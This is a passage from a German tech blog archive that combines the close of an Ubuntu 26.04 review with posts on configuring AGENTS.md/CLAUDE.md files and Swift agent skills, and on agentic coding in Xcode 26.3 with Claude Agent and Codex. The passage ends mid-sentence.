Gnome-Entwickler sind naturgemäß anderer Meinung und wollen Gnome auch in dieser Hinsicht auf das niedrigere macOS-Niveau angleichen. Die Funktion Einfügen per mittlerer Maustaste ist seit Gnome 50 deaktiviert. Wem fällt so ein Wahnsinn ein? Wer keine Maus bzw. kein Trackpad mit drei Tasten hat, konnte die Funktion schon bisher nicht nutzen. Gut, das ist dann nicht zu ändern. Aber warum muss Gnome alle anderen Anwender ohne jede Not gängeln? Zum Glück kann der Mittelklick in gnome-tweaks (Optimierungen) oder mit dem folgenden Kommando reaktiviert werden: gsettings set org.gnome.desktop.interface gtk-enable-primary-paste true Ubuntu hat die Gnome-Entscheidung einfach nachvollzogen, scheint also irgendwie einverstanden zu sein. Merkwürdig. Fazit Bei meinen nicht allzu intensiven Tests hat Ubuntu 26.04 einen runden Eindruck gemacht. Optisch glänzt der Ubuntu-Desktop: Ich kenne keine andere Distribution, die mir out of the box so gut gefällt. Davon losgelöst klingt mein Fazit schon seit Jahren ziemlich ähnlich: Linux-Einsteiger können mit Ubuntu nicht viel falsch machen. Für mich persönlich ist Ubuntu aber schon eine Weile nicht mehr die erste Wahl. Quellen/Links https://ubuntu.com/desktop https://documentation.ubuntu.com/release-notes/26.04/ https://gitlab.gnome.org/GNOME/gsettings-desktop-schemas/-/merge_requests/119 https://www.phoronix.com/news/Ubuntu-26.04-With-ROCm Andere Tests https://www.omgubuntu.co.uk/2026/04/ubuntu-26-04-lts-changes-since-24-04 https://www.derstandard.at/story/3000000317985/ubuntu-2604-lts-die-neue-generation-der-beliebten-linux-distribution-unter-der-lupe https://kofler.info/ubuntu-25-10/
Vor zwei Jahren half »Prompt Engineering« zu besseren Ergebnissen bei KI-Tools. Heute ist der Weg ein anderer: Die Datei AGENTS.md (für die meisten KI-Tools) bzw. CLAUDE.md (für Claude Code) im Projektverzeichnis fasst wichtige Projektinformationen und Coding-Anweisungen zusammen. IDEs wie Cursor bzw. CLIs wie Claude Code oder Codex berücksichtigen diese Datei bei jedem Session-Start automatisch. Damit … KI-Skills für Swift weiterlesen →
Vor zwei Jahren half »Prompt Engineering« zu besseren Ergebnissen bei KI-Tools. Heute ist der Weg ein anderer: Die Datei AGENTS.md (für die meisten KI-Tools) bzw. CLAUDE.md (für Claude Code) im Projektverzeichnis fasst wichtige Projektinformationen und Coding-Anweisungen zusammen. IDEs wie Cursor bzw. CLIs wie Claude Code oder Codex berücksichtigen diese Datei bei jedem Session-Start automatisch. Damit bietet diese Datei eine großartige Möglichkeit, das Default-Verhalten von KI-Tools den eigenen Ansprüchen anzupassen. (AGENTS.md können CLAUDE.md auf verschiedenen Ebenen gespeichert werden, um z.B. allgemeine Coding-Anweisungen mit spezifischen Projektinformationen zu kombinieren.) Skills ermöglichen es, Anweisungen für bestimmte Bearbeitungsschritte im Markdown-Format zu formulieren. Während AGENTS.md immer berücksichtigt wird, werden Skills nur bei Bedarf ausgewertet. Skills können auch Anweisungen für den Aufruf externer Tools beinhalten und ersetzen dann in manchen Fällen die MCP-Server-Konfiguration. (Auch Skills können wahlweise projektspezifisch oder auf globaler Ebene eingerichtet werden.) Dieser Beitrag zeigt die Anwendung von AGENTS.md und Skills speziell für die Programmiersprache Swift — losgelöst davon, ob Sie in Xcode arbeiten oder eine externe CLI verwenden. Der Artikel hat einen leichten Claude-Fokus, weil ich mich persönlich in der Anthropic-Welt wohler fühle als in der von OpenAI. Qualitativ gibt es keine großen Unterschiede zwischen beiden Systemen, beide funktionieren mittlerweile herausragend gut. Ich setze hier voraus, dass Sie grundlegende Erfahrung mit KI-Tools haben und zumindest ein CLI-Tool (ich empfehle Claude Code, aber auch Codex CLI, Gemini CLI, Copilot CLI usw.) ausprobiert haben. AGENTS.md bzw. CLAUDE.md auf Projekt-Ebene Wenn Sie in Xcode mit Claude Agent oder Codex arbeiten, sollte Ihr erster Prompt in einem neuen Projekt /init lauten. Der Claude Agent bzw. Codex analysiert dann Ihren Code und erzeugt die Datei CLAUDE.md bzw. AGENTS.md. (AGENTS.md ist ein generischer Name. Die Datei wird von den meisten KI-Tools berücksichtigt, absurderweise aber nicht von Anthropic-Tools, die auf CLAUDE.md bestehen.) Die Datei wird im Projektverzeichnis gespeichert; sie ist im Projektnavigator unsichtbar, weil dieser eine Verzeichnisebene tiefer ansetzt. Im Regelfall lohnt es sich, diese Datei in einem Editor nachzubearbeiten und dort bei Bedarf eigene Coding-Anweisungen hinzuzufügen. Beachten Sie, dass die Datei bei jeder Session in den Kontext gelesen wird. Halten Sie sich daher kurz! Die von Claude Code ohne meine Mithilfe generierte Datei CLAUDE.md für das Cart-Beispielprogramm (Kapitel 25 in meinem Swift-Buch) sieht beispielsweise so aus: # CLAUDE.md This file provides guidance to Claude Code (claude.ai/code) when working with code in this repository. ## Build & Run This is an Xcode project (`family-cart.xcodeproj`). Build and run through Xcode or use the `BuildProject` MCP tool. There are no tests, no linter, and no package dependencies. ## Architecture **Family Cart** is a SwiftUI shopping list app that syncs across family members via a REST API. The codebase follows a strict three-layer structure reflected in the folder naming: ### 1_model - **ShoppingItem** — Immutable `struct` (Codable, Identifiable). All mutations produce new copies via the `with(...)` helper. Persisted locally as JSON in the Documents directory (`shoppingItems.json`). The `[ShoppingItem].save()` extension handles local persistence. - **Category** — `@Observable class` with 10 predefined grocery categories. Each has a `shortcut` string (e.g. `"bread"`, `"veg"`, `"dairy"`) used as the foreign key in ShoppingItem. Categories are not persisted — they are recreated from `predefinedCategories()` on every launch. `Color(hex:)` extension lives here. ... ## Key Patterns - **No Combine**: The app uses `@Observable` (Observation framework) and Swift concurrency (async/await). Avoid introducing Combine. - **Immutable model pattern**: `ShoppingItem` is a struct. Always use `with(...)` to create modified copies, then `replaceItem(_:with:)` on the view model. Never mutate items in place. - **Single ViewModel**: All state flows through `ShoppingViewModel`. Views receive it as a parameter (not via `@Environment`). - **Categories as constants**: The 10 categories and their shortcuts are hardcoded. Category images use custom assets with `-fill` suffix variants for selected state. - **Localization**: Strings are localized via `Localizable.xcstrings` (English + German). Category names use `LocalizedStringKey`. - **Soft delete**: Items are never removed from the array — `deleteItem()` sets `isDeleted = true` and title to `"deleted"`. ## REST API Backend at `cart.kofler.info:443`. Authentication via HMAC-SHA256 tokens that rotate every 5 minutes. Key endpoints: - `GET /version` — connectivity test - `GET/PUT /items/{family_id}` — pull/push shopping items - `PUT /newfamily`, `PUT /newmember` — family setup - `GET /family/{code}`, `GET /members/{family_id}` — family lookup AGENTS.md bzw. CLAUDE.md auf Xcode-Ebene Während AGENTS.md bzw. CLAUDE.md im Projektverzeichnis eben nur für dieses Projekt gilt, können Sie die gleichnamige Datei auch in speziellen Xcode-Verzeichnissen speichern. Die dort formulierten Regeln gelten dann für alle Projekte in Xcode, in denen Sie den jeweiligen Agenten zu Hilfe nehmen. Die aktuelle KI-Integration sieht die folgenden beiden Verzeichnisse zur Konfiguration von Claude Agent bzw. Codex vor (Quelle): ~/Library/Developer/Xcode/CodingAssistant/codex ~/Library/Developer/Xcode/CodingAssistant/ClaudeAgentConfig Die dort gespeicherten Dateien werden — parallel zu eventuell ebenfalls vorhandenen gleichnamigen Dateien auf Projektebene — automatisch berücksichtigt, sobald Xcode Codex oder Claude Agent startet. Vorsicht! Das ClaudeAgentConfig-Verzeichnis gilt nicht, wenn Sie in Xcode Claude verwenden. Es wird nur von Claude Agent berücksichtigt. Diese verwirrende Differenzierung zwischen zwei fast gleichnamigen KI-Features hat mir anfangs eine Menge Zeit gekostet. Systemweite AGENTS.md-Dateien sind also der ideale Ort, um Swift- bzw. Xcode-spezifische Anweisungen zu speichern, die nichts mit einem konkreten Projekt zu tun haben. Es ist empfehlenswert, den Coding-Agenten dort Hinweise zu geben, dass diese ausschließlich moderne Swift-Sprachmerkmale (z.B. Concurrency) und SwiftUI-Features nutzen sollen. Warum ist das so wichtig? Sprachmodelle werden mit im Internet verfügbaren Informationen trainiert. Dort überwiegen aber veraltete Informationen, die sich auf ältere Swift/SwiftUI-Versionen beziehen. Deswegen ist der von KI-Sprachmodellen generierte Code oft sub-optimal. (Dass Apple den Coding-Agenten via MCP Zugriff auf die aktuelle Dokumentation gibt, hilft nicht viel. Die KI erkennt gar nicht die Notwendigkeit, dort nachzusehen.) Es gibt im Internet mehrere Vorlagen für AGENTS.md/CLAUDE.md. Die beste stammt meiner Ansicht nach von Paul Hudson (Hacking with Swift): https://github.com/twostraws/SwiftAgents/blob/main/AGENTS.md Laden Sie die Datei herunter, und speichern Sie diese unter einem der beiden folgenden Pfade: ~/Library/Developer/Xcode/CodingAssistant/codex/AGENTS.md ~/Library/Developer/Xcode/CodingAssistant/ClaudeAgentConfig/CLAUDE.md Lesenswert ist dazu auch Hudsons Blog-Artikel What to fix in AI-generated Swift code! AGENTS.md bzw. CLAUDE.md auf Systemebene Die Dateien .claude/CLAUDE.md bzw. .codex/AGENTS.md erfüllen die gleiche Funktion, aber auf Systemebene und losgelöst von Xcode. Dort durchgeführte Einstellungen gelten allerdings für ALLE Programmiersprachen. Insofern ist es keine gute Idee, hier Swift- oder Xcode-spezifische Anweisungen zu speichern. Wenn die Dateien CLAUDE.md bzw. AGENTS.md auf mehreren Ebenen (System, Xcode, Projekt) existieren, werden alle Dateien berücksichtigt und kombiniert. Umso wichtiger ist es, die Dateien nicht unnötig aufzublähen. Swift-spezifische Skills Skills verfolgen die gleiche Idee wie AGENTS-Dateien, formulieren also Regeln im Markdown-Format. Aber während die AGENTS-Dateien immer berücksichtigt werden, werden Skills nur bei Bedarf ausgewertet. Beispielsweise kann ein Skill-Dateiset Refactoring-Regeln enthalten. Erst wenn Sie in einem Prompt explizit Refactoring erwähnen (manchmal müssen Sie ganz explizit auf den Skill hinweisen), werden die dort gespeicherten Zusatzregeln berücksichtigt. Skills können auch Anweisungen für den Aufruf externer Tools beinhalten. Das ist an dieser Stelle aber kein Thema. In den letzten Monaten haben einige Blogger Skill-Sets für Swift und SwiftUI zusammengestellt (siehe die Links am Ende dieses Beitrags). Ich greife an dieser Stelle den besonders nützlichen Skill SwiftUI Pro heraus: https://github.com/twostraws/SwiftUI-Agent-Skill Dieser Skill ist dazu gedacht, um in vorhandenen SwiftUI-Projekten einen Code Review durchzuführen — wahlweise via Claude Code, Codex CLI oder Xcode. Das KI-Sprachmodell durchsucht den Code dann nach veraltetem Code und macht Verbesserungsvorschläge. Das funktioniert großartig!! Ein konkretes Anwendungsbeispiel im Zusammenspiel mit Claude Code folgt gleich. Vorerst geht es aber um die Installation, bei der es mehrere Varianten gibt, je nachdem ob Sie den Skill in einer CLI (Claude Code, Codex CLI) oder direkt in Xcode nutzen möchten. Beginnen wir mit der Installation für CLI-Tools: Dazu öffnen Sie ein Terminalfenster und wechseln in das Projektverzeichnis. (Das Installationskommando setzt Node.js voraus. Führen Sie gegebenenfalls vorher brew install node aus.) cd my-swiftui-project npx skills add https://github.com/twostraws/swiftui-agent-skill --skill swiftui-pro Während der Installation werden Sie gefragt, welche KI-Tools/Agenten Sie verwenden (z.B. Antigravity, Claude Code, Codex, Cursor usw.). Das hat Einfluss auf den Installationsort. Viele KI-Tools berücksichtigen das Verzeichnis .agents/skills, aber manche Tools wollen ihr eigenes Verzeichnis (z.B. .agent/skills oder .claude/skills). Dort werden standardmäßig Links auf die Dateien in .agents eingerichtet. Außerdem müssen Sie sich entscheiden, ob die Skills universell für alle Projekte gelten sollen (Installation relativ zum Home-Verzeichnis) oder nur für ein Projekt (Installation im Projekt-Verzeichnis). Vor allem wenn Sie auf Ihrem Rechner Projekte in verschiedenen Programmiersprachen entwickeln, ist die projektspezifische Installation sicherer. Die Xcode-Installation ist leider etwas umständlicher. Ich gehe davon aus, dass Sie vorher eine CLI-Installation in ein Projektverzeichnis durchgeführt haben. Von dort kopieren Sie nun das gewünschte Skills-Unterverzeichnis in das passende Xcode-Verzeichnis: # für Claude Code mkdir -p ~/Library/Developer/Xcode/CodingAssistant/ClaudeAgentConfig/skills cd my-swiftui-project cp -a .claude/skills/swiftui-pro ~/Library/Developer/Xcode/CodingAssistant/ClaudeAgentConfig/skills # für Codex mkdir -p ~/Library/Developer/Xcode/CodingAssistant/codex/skills cd my-swiftui-project cp -a .agents/skills/swiftui-pro ~/Library/Developer/Xcode/CodingAssistant/codex/skills Jetzt sollten Sie sich noch vergewissern, dass der neue Skill wirklich im KI-Agenten Ihrer Wahl innerhalb von Xcode verfügbar ist (hier für Claude Code). <img loading="lazy" decoding="async" src="https://kofler.info/wp-content/uploads/xc263-skills.png" alt="" width="1920" height="1587" class="size-full wp-image-9478" srcset="https://kofler.info/wp-content/uploads/xc263-skills.png 1920w, https://kofler.info/wp-content/uploads/xc263-skills-786x650.png 786w, https://kofler.info/wp-content/uploads/xc263-skills-1161x960.png 1161w, https://kofler.info/wp-content/uploads/xc263-skills-768x635.png 768w, https://kofler.info/wp-content/uploads/xc263-skills-1536x1270.png 1536w" sizes="auto, (max-width: 1920px) 100vw, 1920px" /> Kontrolle der Installation eines Skills in das Xcode-Claude-Agent-Verzeichnis Der Aufruf des Skills variiert je nach Coding-Agent: Claude Agent: /swiftui-pro funktioniert nicht. (Dieses Claude-Code-Kommando klappt nur in der CLI.) Vielmehr müssen Sie in Xcode einen Prompt formulieren, der so ähnlich wie diese Anweisung aussieht: »Use the SwiftUI Pro skill to look for problems in this project.« Codex: $swiftui-pro Anwendungsbeispiel mit Claude Code Im Folgenden gehe ich davon aus, dass Sie mit Claude Code arbeiten. Nach dem Start vergewissern Sie sich mit dem Kommando /skills, dass Claude die Skill-Regeln swiftui-pro kennt. Den Code Audit starten Sie nun mit /swiftui-pro (bzw. in Codex mit $swiftui-pro). cd my-swiftui-project claude > /skills ... > /swiftui-pro ... Summary 1. Accessibility (high): Multiple icon-only buttons throughout (PlanTabView:66, SettingsTabView:159, CategoriesView:23/37) are invisible to VoiceOver. The CategoryHeader uses onTapGesture instead of Button, also problematic for VoiceOver. 2. Deprecated API (high): foregroundColor() used in 6+ locations should be foregroundStyle(). cornerRadius() used in 3 locations should be clipShape(.rect(cornerRadius:)). tabItem() should be the modern Tab API. .autocapitalization() should be .textInputAutocapitalization(). Style struct instances (PlainButtonStyle(), etc.) should use static member syntax. 3. Code organization (medium): Multiple type definitions per file throughout the view layer (PlanTabView has 3 types, SettingsTabView has 3, EditItemView has 3, CategoriesView has 2). Each should be in its own file. The itemsForEach method returning some View should be a dedicated View struct. 4. Data flow (medium): Category class is @Observable but missing @MainActor. @State var vm in ShoppingTabView, PlanTabView, and CategoriesView is not marked private. 5. Modern Swift (low): Use Date.now over Date(), URL.documentsDirectory over FileManager lookups, !items.isEmpty over items.count > 0, modern ISO 8601 date parsing, and the Tab enum pattern for tab selection. The review is complete above. Would you like me to fix any of these issues? Alle Probleme auf einmal zu beheben ist keine gute Idee. Besser gehen Sie schrittweise vor und erstellen nach jedem Fix und dem nachfolgenden Test Ihrer App Xcode einen Commit. > fix foregroundColor() Done. Replaced all .foregroundColor() with .foregroundStyle() across 3 files: - ContentView.swift - 4 occurrences (debug overlay text colors) - PlanTabView.swift - 2 occurrences (toggle button labels) - SettingsTabView.swift - 3 occurrences (error text, warning text, sync time indicator) > ! git commit -a -m 'fixed foregroundColor -> foregroundStyle' <img loading="lazy" decoding="async" src="https://kofler.info/wp-content/uploads/cc-skills1.png" alt="" width="1165" height="1487" class="size-full wp-image-9414" srcset="https://kofler.info/wp-content/uploads/cc-skills1.png 1165w, https://kofler.info/wp-content/uploads/cc-skills1-509x650.png 509w, https://kofler.info/wp-content/uploads/cc-skills1-752x960.png 752w, https://kofler.info/wp-content/uploads/cc-skills1-768x980.png 768w" sizes="auto, (max-width: 1165px) 100vw, 1165px" /> Start des Code Reviews <img loading="lazy" decoding="async" src="https://kofler.info/wp-content/uploads/cc-skills2.png" alt="" width="1165" height="1920" class="size-full wp-image-9415" srcset="https://kofler.info/wp-content/uploads/cc-skills2.png 1165w, https://kofler.info/wp-content/uploads/cc-skills2-394x650.png 394w, https://kofler.info/wp-content/uploads/cc-skills2-583x960.png 583w, https://kofler.info/wp-content/uploads/cc-skills2-768x1266.png 768w, https://kofler.info/wp-content/uploads/cc-skills2-932x1536.png 932w" sizes="auto, (max-width: 1165px) 100vw, 1165px" /> Zusammenfassung der gefundenen Probleme <img loading="lazy" decoding="async" src="https://kofler.info/wp-content/uploads/cc-skills3.png" alt="" width="1165" height="1112" class="size-full wp-image-9416" srcset="https://kofler.info/wp-content/uploads/cc-skills3.png 1165w, https://kofler.info/wp-content/uploads/cc-skills3-681x650.png 681w, https://kofler.info/wp-content/uploads/cc-skills3-1006x960.png 1006w, https://kofler.info/wp-content/uploads/cc-skills3-768x733.png 768w" sizes="auto, (max-width: 1165px) 100vw, 1165px" /> Behebung eines der festgestellten Probleme Lesetipps AGENT-Dateien und Skills bestehen aus Markdown-Dateien. Selbst wenn Sie keine KI-Tools verwenden wollen, lohnt sich die Lektüre dieser Regeldateien. Sie werden nirgendwo sonst so kompakte Regeln zur richtigen Swift/SwiftUI-Programmierung finden! Lesen Sie beispielsweise die Anweisungen zur richtigen Verwendung von Actors aus dem Concurrency-Skill von Paul Hudson. Quellen/Links Grundlagen zu AGENTS.md/CLAUDE.md/Skills https://agents.md https://developers.openai.com/codex/guides/agents-md https://code.claude.com/docs/en/features-overview https://support.claude.com/en/articles/12512176-what-are-skills Agentic Coding mit Xcode https://kofler.info/xcode-26-3-kann-endlich-ki https://developer.apple.com/documentation/Xcode/setting-up-coding-intelligence#Customize-the-Codex-and-Claude-Agent-environments https://www.hackingwithswift.com/articles/281/what-to-fix-in-ai-generated-swift-code https://www.hackingwithswift.com/articles/282/swiftui-agent-skill-claude-codex-ai https://www.hackingwithswift.com/articles/283/how-to-install-and-use-ai-agent-skills-in-xcode https://www.hackingwithswift.com/articles/283/how-to-install-and-use-ai-agent-skills-in-xcode https://developer.apple.com/documentation/xcode/giving-agentic-coding-tools-access-to-xcode Für Swift optimierten AGENTS.md-Dateien und Skills von Paul Hudson https://github.com/twostraws/swiftagents (AGENTS.md) https://github.com/twostraws/SwiftUI-Agent-Skill (Swift-Basics und SwiftUI) https://github.com/twostraws/swiftdata-agent-skill (SwiftData) https://github.com/twostraws/swift-concurrency-agent-skill (Concurrency) https://github.com/twostraws/Swift-Testing-Agent-Skill (Unit-Tests) Ähnliche Dateien/Skills von anderen Entwicklern https://github.com/AvdLee/SwiftUI-Agent-Skill https://github.com/AvdLee/Swift-Concurrency-Agent-Skill Videos https://www.youtube.com/watch?v=QdpaI_j0FRU (Stewart Lynch) https://www.youtube.com/live/sc6pvW6vQzA (Paul Hudson)
Rund um die Integration von KI-Tools in Xcode hat sich Apple bisher nicht mit Ruhm bekleckert (siehe auch meinen Blog-Artikel zu Xcode 26.1 und 26.2). Aber mit Version 26.3 ist Xcode endlich doch im KI-Zeitalter angekommen. Der Schlüssel zum Erfolg: die Einhaltung offener Standards. KI funktioniert in Xcode 26.3, weil Apple mit mcpbridge einen MCP-Server … Xcode 26.3 kann endlich KI weiterlesen →
Rund um die Integration von KI-Tools in Xcode hat sich Apple bisher nicht mit Ruhm bekleckert (siehe auch meinen Blog-Artikel zu Xcode 26.1 und 26.2). Aber mit Version 26.3 ist Xcode endlich doch im KI-Zeitalter angekommen. Der Schlüssel zum Erfolg: die Einhaltung offener Standards. KI funktioniert in Xcode 26.3, weil Apple mit mcpbridge einen MCP-Server mit ca. 20 Tools für Xcode implementiert hat. Damit können Sprachmodelle direkt mit Xcode kommunizieren, Code ändern, auf aktuelle Apple-spezifische Dokumentation zugreifen, Apps ausprobieren und Fehler beheben. <img loading="lazy" decoding="async" src="https://kofler.info/wp-content/uploads/xc263-breakout.png" alt="" width="1920" height="1285" class="size-full wp-image-9421" srcset="https://kofler.info/wp-content/uploads/xc263-breakout.png 1920w, https://kofler.info/wp-content/uploads/xc263-breakout-850x569.png 850w, https://kofler.info/wp-content/uploads/xc263-breakout-1280x857.png 1280w, https://kofler.info/wp-content/uploads/xc263-breakout-768x514.png 768w, https://kofler.info/wp-content/uploads/xc263-breakout-1536x1028.png 1536w" sizes="auto, (max-width: 1920px) 100vw, 1920px" /> KI-unterstützte App-Entwicklung in Xcode Konfiguration Der Konfigurationsdialog Intelligence sieht simpel aus, stiftet in Wirklichkeit aber Verwirrung. Auf den ersten Blick könnte man meinen, es gäbe zwei vordefinierte KI-Provider: OpenAI mit ChatGPT und Codex auf der einen Seite, Anthropic mit Claude auf der anderen Seite. Es sind aber VIER! ChatGPT: simple KI-Unterstützung, in begrenztem Ausmaß kostenlos OpenAI Codex: Agentic Coding mit Codex Claude: simple KI-Unterstützung Claude Agent: Agentic Coding mit Claude (vergleichbar mit der CLI Claude Code) Ich gehe im Folgenden davon aus, dass Sie ein ChatGPT- oder Claude-Abo haben und dieses für Xcode nutzen möchten. Dazu installieren Sie zuerst das entsprechende Zusatzprogramm OpenAI Codex bzw. Claude Agent (Button Get). Ärgerlicherweise scheint die KI-Integration auch ohne diese Zusatzinstallation zu funktionieren — aber dann landen Sie bei den eingeschränkten Varianten ChatGPT oder Claude, die nur mittelmäßig funktionieren, keine Skill-Unterstützung aufweisen usw. <img loading="lazy" decoding="async" src="https://kofler.info/wp-content/uploads/xcode263-ai-settings1.png" alt="" width="1200" height="823" class="size-full wp-image-9442" srcset="https://kofler.info/wp-content/uploads/xcode263-ai-settings1.png 1200w, https://kofler.info/wp-content/uploads/xcode263-ai-settings1-850x583.png 850w, https://kofler.info/wp-content/uploads/xcode263-ai-settings1-768x527.png 768w" sizes="auto, (max-width: 1200px) 100vw, 1200px" /> Für Agentic Coding müssen die Zusatzkomponenten »Codex« bzw. »Claude Agent« installiert werden! Im nächsten Schritt müssen Sie die Verbindung zum jeweiligen KI-Konto herstellen. Die Authentifizierung erfolgt in einem Webbrowser-Fenster. Die konfigurierten KI-Tools bekommen automatisch Zugang zu den MCP-Diensten von Xcode. <img loading="lazy" decoding="async" src="https://kofler.info/wp-content/uploads/xcode263-ai-settings2.png" alt="" width="1200" height="1053" class="size-full wp-image-9444" srcset="https://kofler.info/wp-content/uploads/xcode263-ai-settings2.png 1200w, https://kofler.info/wp-content/uploads/xcode263-ai-settings2-741x650.png 741w, https://kofler.info/wp-content/uploads/xcode263-ai-settings2-1094x960.png 1094w, https://kofler.info/wp-content/uploads/xcode263-ai-settings2-768x674.png 768w" sizes="auto, (max-width: 1200px) 100vw, 1200px" /> KI-Konfiguration in Xcode Es besteht auch die Möglichkeit, andere externe sowie lokale KI-Provider zu nutzen. Am interessantesten wäre sicherlich Google Gemini, aber ich habe aus Zeitgründen von Tests abgesehen. (Freie, lokale Modelle sind nach meinen Erfahrungen mit anderen IDEs eher ungeeignet. Sie sind für Agentic Coding nicht leistungsfähig genug. Außerdem basieren sie meist auf relativ altem Trainingsmaterial, was bei Swift/SwiftUI besonders ungünstig ist.) Die Option Allow external agents to use Xcode tools ist nur dann relevant, wenn Sie ein externes (nicht in Xcode eingebettetes) KI-Tool verwenden, z.B. Claude Code oder Codex. Diese externen Tools können dann den in Xcode integrierten MCP-Server nutzen und z.B. Apps ausführen, davon Screenshots erstellen und auf diese Weise UI-Fehler erkennen/beheben. In der KI-Seitenleiste wählen Sie den gewünschten, zuvor konfigurierten KI-Dienst aus. Alle Agentic Coding Funktionen gibt es aber nur mit Codex oder Claude Agent! <img loading="lazy" decoding="async" src="https://kofler.info/wp-content/uploads/xcode263-ai-settings3.png" alt="" width="1920" height="1268" class="size-full wp-image-9446" srcset="https://kofler.info/wp-content/uploads/xcode263-ai-settings3.png 1920w, https://kofler.info/wp-content/uploads/xcode263-ai-settings3-850x561.png 850w, https://kofler.info/wp-content/uploads/xcode263-ai-settings3-1280x845.png 1280w, https://kofler.info/wp-content/uploads/xcode263-ai-settings3-768x507.png 768w, https://kofler.info/wp-content/uploads/xcode263-ai-settings3-1536x1014.png 1536w" sizes="auto, (max-width: 1920px) 100vw, 1920px" /> Auswahl zwischen den vorweg konfigurierten Diensten in der KI-Seitenleiste. Agentic Coding setzt »Codex« oder »Claude Agent« voraus! Erster Versuch (ChatGPT) Als ersten Versuch habe ich mit dem Modell ChatGPT (ohne OpenAI-Konto) eine minimale Variante des Break-Out-Spiels als iOS-App entwickelt (siehe die erste Abbildung dieses Artikels). Prompt: create a simple break out game as an iOS app Zwei Minuten später war die App fertig. 170 Zeilen Code, alle in ContentView.swift. Xcode zeigte allerdings einen Build-Error an und wies auch gleich auf die Ursache hin: Es fehlte import Combine, worum ich mich selbst kümmerte. Danach war die App prinzipiell verwendbar. Einerseits ist das Ergebnis beeindruckend, andererseits ist die Code-Qualität aber nicht großartig: Xcode bemängelte zwei onChange-Aufrufe, deren Syntax veraltet ist. Aber auch davon losgelöst ist der Code nicht effizient. Die Spielelemente sind alle in SwiftUI abgebildet (kein SpriteKit). Das ist die einfachste Lösung, aber die Implementierung ist langsam. Das Spiel wird stotternd langsam, sobald das Paddel mit der Maus verschoben wird. Ich habe mit ein paar Folge-Prompts versucht, das Spiel zu verbessern: Prompt: the onChange() modifiers are deprecated; please fix Prompt: ok. it works, but it is extremely slow if I move the paddle. (As long as there is no user input, speed is OK) Das KI-Tool ersetzte zuerst onChange durch task (OK) und baute dann @GestureState ein, um die Geschwindigkeit zu verbessern (ohne Erfolg). Zweiter Versuch (Claude Agent) Für den zweiten Versuch habe ich zuerst den Claude Agent heruntergeladen und mit meinem Claude-Konto verknüpft. Gleicher Prompt, also: Prompt: create a simple break out game as an iOS app Der erste Unterschied zum vorigen Beispiel besteht darin, dass der Claude Agent über das Problem zuerst nachdenkt und eine To-do-Liste erstellt. Diese arbeitete er dann Punkt für Punkt ab. Der Code fällt mit ca. 350 Zeilen deutlich umfangreicher aus. Er ist in den beiden neuen Dateien BreakOutGame.swift und BreakOutGameView.swift deutlich besser organisiert. Der Code trennt zwischen Datenmodell und View. (Auf eine vollständige Realisierung des MVVM-Musters hat der Claude Agent aber verzichtet.) Der Code funktioniert auf Anhieb und ist frei von offensichtlich veralteten Funktionen. Auch die Performance ist deutlich besser. Noch ein Break-Out-Spiel, diesmal generiert vom Claude Agent Xcode kritisiert allerdings zwei Main-actor-Isolation-Probleme (Warnungen, keine Errors). Prompt: there are two main actor isolation warnings; fix them Claude gelingt es auf Anhieb, die Probleme zu beheben (Respekt!). Eine weitere Analyse des Codes ergibt: Der Code ist OK, aber nicht ausgezeichnet. Der SwiftUI-Pro-Skill (mehr dazu in einem zweiten Blog-Artikel) kritisiert z.B. die Verwendung eines Timers für den GameLoop und schlägt stattdessen TimeLineView(.animation) vor. Beispiel 3: Vorhandenen Code bearbeiten/erweitern (Claude Agent) Im dritten Beispiel habe ich das einigermaßen komplexe Cart-Projekt aus meinem Swift-Buch geladen (siehe Kapitel 25). In ca. 2000 Zeilen Code, die über ein Dutzend Dateien verteilt sind, realisiert die App die Verwaltung einer Einkaufsliste, die mittels eines Backends (REST-API) über mehrere Familienmitglieder synchronisiert wird. Mein erster Prompt sah so aus: Prompt: /init Dieses Claude-Code-typische Kommando analysiert die Code-Basis und erstellt die Datei CLAUDE.md mit einer Zusammenfassung über die Organisation des Codes. Damit tut sich der Claude Agent bei weiteren Aufrufen leichter, sich im Code zu orientieren, und muss diesen Schritt nicht wiederholen. Die Datei landet direkt im Projektverzeichnis und ist deswegen im Projektnavigator (der eine Ebene tiefer ansetzt) unsichtbar. Der Claude Agent lädt diese Datei bei zukünftigen Sessions automatisch. In der Regel ist es zweckmäßig, die Datei durchzulesen und bei Bedarf eigene Erweiterungen durchzuführen. Ich habe bei diesem Test aber darauf verzichtet. Als Nächstes habe ich in den Projekteinstellungen Default Actor Isolation = MainActor eingestellt (siehe auch den Blog-Artikel Swift 6.2 und Xcode 26.1). Prompt: This app now uses Default Actor Isolation = MainActor. Remove no longer necessary main actor attributes. Es gibt nur eine Stelle im Code. Claude Agent findet sie und entfernt das nun überflüssige Attribut. In der Praxis haben sich die Synchronisationseinstellungen der App als zu groß herausgestellt. Die App speichert Änderungen alle 40 Sekunden. Wenn lokal nichts geändert wird, werden Remote-Änderungen sogar nur alle 10 Minuten durchgeführt. Der folgende Prompt führt direkt zum Ziel, obwohl ich Claude keinerlei Informationen gebe, wo sich die relevanten Einstellungen befinden. Prompt: change the sync settings; I want to write changes after 20 seconds, read remote changes every 30 seconds Die UI der App ist in einer TabView über drei Tabs verteilt. Ich möchte, dass die App auch bei jedem Tab-Wechsel eine Synchronisation durchführt. Wiederum findet der Claude Agent sofort die richtige Stelle im Code und baut dort einen asynchronen Aufruf der Sync-Methode ein. Prompt: I also want to sync on every tab change. <img loading="lazy" decoding="async" src="https://kofler.info/wp-content/uploads/xc263-cart2.png" alt="" width="1920" height="1294" class="size-full wp-image-9452" srcset="https://kofler.info/wp-content/uploads/xc263-cart2.png 1920w, https://kofler.info/wp-content/uploads/xc263-cart2-850x573.png 850w, https://kofler.info/wp-content/uploads/xc263-cart2-1280x863.png 1280w, https://kofler.info/wp-content/uploads/xc263-cart2-768x518.png 768w, https://kofler.info/wp-content/uploads/xc263-cart2-1536x1035.png 1536w" sizes="auto, (max-width: 1920px) 100vw, 1920px" /> Claude Agent führt mühelos Änderungen in dem einigermaßen komplexen Projekt durch Prompt: I want the app to also sync when it is disabled (switch to another app). There is already code for this, but it does not work reliable. Claude Agent verbessert den Code entsprechend. Prompt: update the version to 1.0.2 Prompt: ok. can you also update it in the target settings? Hier kommt Claude an seine Grenzen. Er findet zwar eine Zeichenkette im Code, die er von 1.0.1 auf 1.0.2 ändert. Aber die Xcode-Einstellungen Target / Identity / Bundle Identifier kann es nicht ändern und bittet darum, diesen Schritt selbst zu erledigen. Meine relativ einfachen Prompts verschleiern, wie weit Agentic Coding geht. Paul Hudson geht in seinem YouTube-Video aufs Ganze und beginnt mit einem Prompt, um eine 